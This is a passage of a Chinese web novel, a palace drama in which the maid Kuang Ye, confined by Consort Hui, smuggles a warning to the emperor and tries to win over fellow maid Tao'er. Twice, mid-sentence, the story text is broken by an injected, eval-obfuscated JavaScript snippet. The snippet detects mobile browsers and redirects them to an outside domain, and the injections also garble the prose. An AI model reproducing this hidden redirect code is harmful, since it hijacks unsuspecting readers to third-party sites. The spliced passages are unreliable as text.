邝叶趁着被她们架着带走之前,奋力扭过头对慧妃说:“娘娘,你不要这样做,万一被他发现了……” “快带下去!”慧妃突然厉声打断,两个宫女很少见她这么发脾气,赶紧发力一块儿把邝叶拖走了。 邝叶被关进了拥挤的柴房里,架着她来的两个宫女,一个在门外看着她,另一个则去找桃儿了。 她拿起了腰间的琉璃透镜,上面的倒计时仍在不停走动,在夜里发着只有她能看得见的荧光,显示待收录的名场面【名场面:慧妃奉媚酒献昭容。等级:A。18:32:11】 34. 名场面三十四 “打碎花瓶?”桃儿听到这个说辞,全然不敢置信。 无论是邝叶打碎花瓶还是慧妃因为一个花瓶关她禁闭这件事都太奇怪了,邝叶手都快比侍卫稳了,她怎么可能失手打碎花瓶?邝叶从树上掉下来砸倒皇帝时,慧妃都气急了,也没有罚她,怎么可能反倒因为一个花瓶罚她? “姐姐快去看看吧!”那宫女着急忙慌的,也无意究此事根本,只想要桃儿赶紧去主持局面,“娘娘指明要姐姐看守呢。” “我去看守?”看守这种活随便找个小宫女就是了,怎么会非要我去?桃儿一头雾水,还是跟了过去。 柴房离得近,没走两步就到了,那儿站了个宫女,她身后是被拴上的门扉。 “姐姐来了。”看守的宫女一看到她就一副得救了的样子,眼巴巴看着她,等她安排。 “你们去同娘娘回报吧,若再有什么吩咐,再来告知我便是。” 桃儿并未向那两个宫女询问来龙去脉,事发时,她们最多是在外间等候,只有当事人才能说请此事,她让她们离开,反而方便她和当事人邝叶谈话。 两个宫女得了桃儿的指示,名正言顺地走了,留下柴房外的桃儿和柴房内的邝叶。 “瞧瞧,被我说中了吧,一味谄媚,势必有朝一日马屁拍到马腿上,”隔着薄薄一道门,桃儿嘲讽的声音传到邝叶耳朵里,这口怨气积在胸中许久,终于得以发泄。 过了一会儿,邝叶才听到门外问正事,“你究竟怎么得罪的主子?” 邝叶很想把全都告诉桃儿,让桃儿去阻止慧妃,但是话到嘴边,又咽下去了。 慧妃把她关柴房,又找来桃儿看管她,显然是要把她们俩都排除在计划之外,把事情告诉桃儿,让桃儿去劝阻慧妃的结果只会是柴房里又多一个人。 “怎么不说话,”桃儿的声音再度传来,多了几分关切,“你不会哭了罢?唉,你还小,被主子责骂一回就觉得是天大的事,其实往后啊,这种事还多着呢,咱们为人奴婢的,难道还能学她们千金小姐,被误解了便投井、被驳了面子就上吊不成?想开点儿……” 桃儿自顾自的安慰邝叶全没有入耳,她握着琉璃透镜,思考该怎么阻止慧妃。 现在她能用的人只有桃儿,但让桃儿去劝阻慧妃便会导致桃儿也一起被关,而让桃儿去通风报信显然也不能,慧妃可能马上也要派人看着桃儿,不会给桃儿替她通风报信的机会。 琉璃透镜在她手里发着光,但那光只有她自己能看到,对其他人不可见,也照不亮漆黑的柴房。 就在这两厢沉默之时,邝叶听见了脚步声,透过门缝看,是方才的两个宫女去而复返。 “姐姐,娘娘召你。”其中一个对桃儿道。 桃儿应:“好,我这就去。”却见其中一个宫女站到了门边,竟不打算走,便问她,“你站这儿做什么,忙你的事去。” 那宫女道:“我留下看门。” “门不是拴着呢吗,她是人又不是妖怪,能穿墙掀屋顶逃跑不成?”桃儿没好气道,“你们各自做自己的事去,没事做就打水洗漱睡觉。” “是。” 又留下邝叶一个人,她站起来,摸了摸自己的头,可惜两边固定发髻的饰品都是简约风,不足以能让她插进门缝,邝叶只能一边用肩抵住门,一边把手指伸到门缝,试图把门闩弄开。 但就像桃儿说的,她是人不是妖,没有能创造奇迹的大力,门上残留的倒刺倒把她的手划伤了。 邝叶甩了甩手,无可奈何重新蹲下,背靠在粗糙的门板上。 好巧不巧,又有一片灯笼的光,经由门缝照进来,投在脏兮兮的地上,却听不到脚步声。 邝叶连忙往门缝看去,竟发现一个熟人提着灯笼,偷偷摸摸地往这边来。 “茵绿!茵绿!老乡,快过来!”邝叶仿佛见了救星,连忙站起身。 茵绿听见她催促,左右看了看,快步来到门边,“怎么回事?你怎么被关禁闭了?” 虽说今早才相互说了不好听的话,现在见面难免别扭,可见到老乡这么焦急叫自己,茵绿便主动在心里原谅了邝叶,把和她闹的不愉快一笔勾销。 邝叶没马上答话,而是抽来一根木柴,剥下边缘的几根木刺,折成了好几段,在灯笼光通过门缝所照到的地面上,摆成了“小心”两字,随后把透镜放到右眼前,眨眼。 “咔嚓”声在脑中响起,邝叶赶忙从自己的系裙子的巾子上摘下了透镜,从门缝递出去,想递给茵绿。 邝叶正要说话,却听见茵绿突然发挥想象,胡言乱语:“是不是因为皇上对你有意,慧妃娘娘愱渎了?” “不是……”邝叶想解释又不知从何说起,只得说,“你别管,你帮我个忙,把这块透镜交给皇上。” “哦,原来是定情信物……”茵绿接过透镜,笑得意味深长,心说我也当了一次红娘,又打趣道,“怎么,是求陛下来英雄救美?” 邝叶无语,已经不想再解释了。 “总之交给皇上,我们娘娘可能会派人盯着你,你不要亲自送,找准时机,交给往日跟你传递消息的就是了。” “啊。”茵绿干巴巴地应声,欲言又止。原来她搞的那些小动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373919|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,老乡都知道,那会不会,慧妃也…… “快走啊!” 邝叶的催促把茵绿的神智唤回,眼下不是考虑自己是否暴露的时候,重要的是完成邝叶交代的事,此次的事可能就是她的大机遇,很可能办成了她就飞黄腾达了。 茵绿逃也似的离开,邝叶随意踩了两脚将她用木刺摆的“小心”踩散,再度蹲下。 这会儿没了透镜的光,柴房里陷入真正的一片漆黑,有几只蚊子闻到了人的气味,飞到邝叶耳边嗡嗡嗡,邝叶前世风吹日晒,皮肤厚实,也不怎么招蚊子,现在换了一副身体,却是招蚊子的体质,久违的不适应又回到她身上。 刚拍了一把自己的脸,弄死一只蚊子,剩余的几只仍在不停嗡嗡嗡…… 就在邝叶以为她为了不被蚊子咬而要把自己的脸打成猪头时,又听到一阵脚步声传来,听声音应该只有一个人,带着比方才更亮的灯笼的光一起来。 很快,门闩被拉开。 桃儿正站在门外。 “主子让我带你回屋里休息,但得我看着你,直至明日这个时候,你我两个哪儿也不许去。” 邝叶默默走出柴房,夜晚微凉的空气让她精神一振。她看了一眼桃儿,知道慧妃此举既是心软,也是要将她们两人都置于可控范围内。 “走吧。”桃儿语气硬邦邦的,提着灯笼走在前面,她对慧妃的这次的反常责罚心存疑虑,但作为下人,她只能执行主子的命令。 何况,这次给邝叶一个教训也是好的。 两人一前一后,回到她们合住的配房,这里的条件比柴房好了不知多少,屋内放有驱蚊的艾草,有灯火,有床,有防蚊的帐子,屋里散发着干净好闻的淡淡皂角香和一点点脂粉香气。 桃儿翻出一套干净衣服,对邝叶道:“我去打水洗漱,你去不去?” 邝叶站着不动,手指无意识地摩挲着裙子上原本系着琉璃透镜的地方,现在那儿空空的。她把所有的希望都寄托在了茵绿身上,寄托在了皇帝看到那张“小心”照片后的反应上。茵绿可不可靠?皇帝会如何解读?他会不会相信?现下都不是她可以控制的了。 只能选择相信对方,而她自己,尽量做好自己这边能做的。 “叶儿,我叫你呢!” “哎,哎,去。”邝叶知道自己神游又被桃儿捉个正着,连声应着,也去找出自己干净的衣服。 其实她没有不去的自由,她明白,自己在慧妃的计划达成之前,都没有自由。桃儿会寸步不离地跟着她。 但这也不失为一个机会,一个策反桃儿的机会。 35. 名场面三十五 两人默默打了水,去沐浴洗漱。 邝叶有些不大习惯跟人一起清洁身体,有些束手束脚的,想避免发出声音,以免引得桃儿投来目光。桃儿却并没有这种畏缩感,她动作麻利,表情坦然,但显然心里也存着事,不时会瞥一眼邝叶,却什么也不问。 两人清理好,各自铺好床铺,吹熄了大部分烛火,只剩最后一盏时,见桃儿还是不打算开口,邝叶终于忍不住主动问道:“你不打算问我些什么吗?” 桃儿吹灯的动作顿了顿,旋即把那盏烛台拿远了些,留下了这昏暗沉闷的光。 虽说好奇心害死猫,但这可是邝叶自己非要说的,桃儿便配合问道:“那你说,你到底怎么惹得主子生这么大的气?打碎花瓶这种幌子骗骗别人就算了,我可不信。” 邝叶原本坐在自己床上,听到桃儿这么一问,又起身借着昏昏灯光走到桃儿床边,桃儿见她来,往旁边挪了挪,算是允许她坐在自己床铺上。 “我没打碎任何东西。”邝叶说。 “嗯。”桃儿应。 “我,她有一个计划,是为了向太后投诚,但是她这个计划成不了,而且败露的话,她一定会遭大罪。”邝叶用了毕生的语言天赋,把关键信息隐去,只对桃儿透露利害关系。 黯淡光线下,桃儿的面目模糊不清,更遑论表情了,但邝叶能通过她沉默的时长大略猜她此时应当脸色不好。 桃儿久久才打破沉寂,“可我从主子那里听到的却不是这个说法。” 果然……慧妃没有后手怎么可能只让桃儿来看管她呢? “我听主子说,她今日在太后那里听了许多教诲,受益匪浅,去岁的心结已然解开,决心以后不再计较先前的龃龉,也打算明日请陛下来,同他赔不是,”从桃儿嘴里吐出来的字句,组成了一个与邝叶所经历的事实完全相反的事,“而你,在她为你向太后求情让你留下之后,你仍不知足,挑唆她和陛下的关系,她气不过,这才要关你……” 邝叶不得不再一次佩服慧妃的话术和魄力,她真是铁了心要把她们两个摘出去,为此,她精心编造一套话术欺骗和她一起长大的桃儿,对骗不过的邝叶就是直接软禁监视,她自己实施她那个充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376696|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满危险的计划,或成或败,一切后果自己承担。 邝叶要怎么把已经站在慧妃身边十几年的桃儿拉到自己这边?难不成只能全靠茵绿和皇帝那边了? “你方才所说的,主子成不了的计划该不会是她明日向陛下认罪请求和好一事吧?” 邝叶听见桃儿反问,下意识看向对方,无奈蜡烛越烧越短,烛火太暗,她视力再好也只是人类的眼,辨不清桃儿的表情。 “是假的。” 正当邝叶以为迎接自己的将是桃儿劈头盖脸的围绕“人家郞貌女才,轮得到你个妖怪反对”输出的一顿骂时,桃儿说道,语气很平淡,竟全没有平常的咋呼。 “她骗我,你瞒我,”桃儿的声音带着一点儿被抛弃被隐瞒的无奈,“你们到底想干什么,竟然都不肯让我知晓……” 话音刚落,桃儿感觉自己的手腕被握住,她也往邝叶脸上看,碍于烛光聊胜于无,什么也看不清,只有握在手腕上的温度和触感是清楚的。 “我都告诉你,”桃儿于愈来愈浓稠的黑暗中听到邝叶说,“但你得冷静。”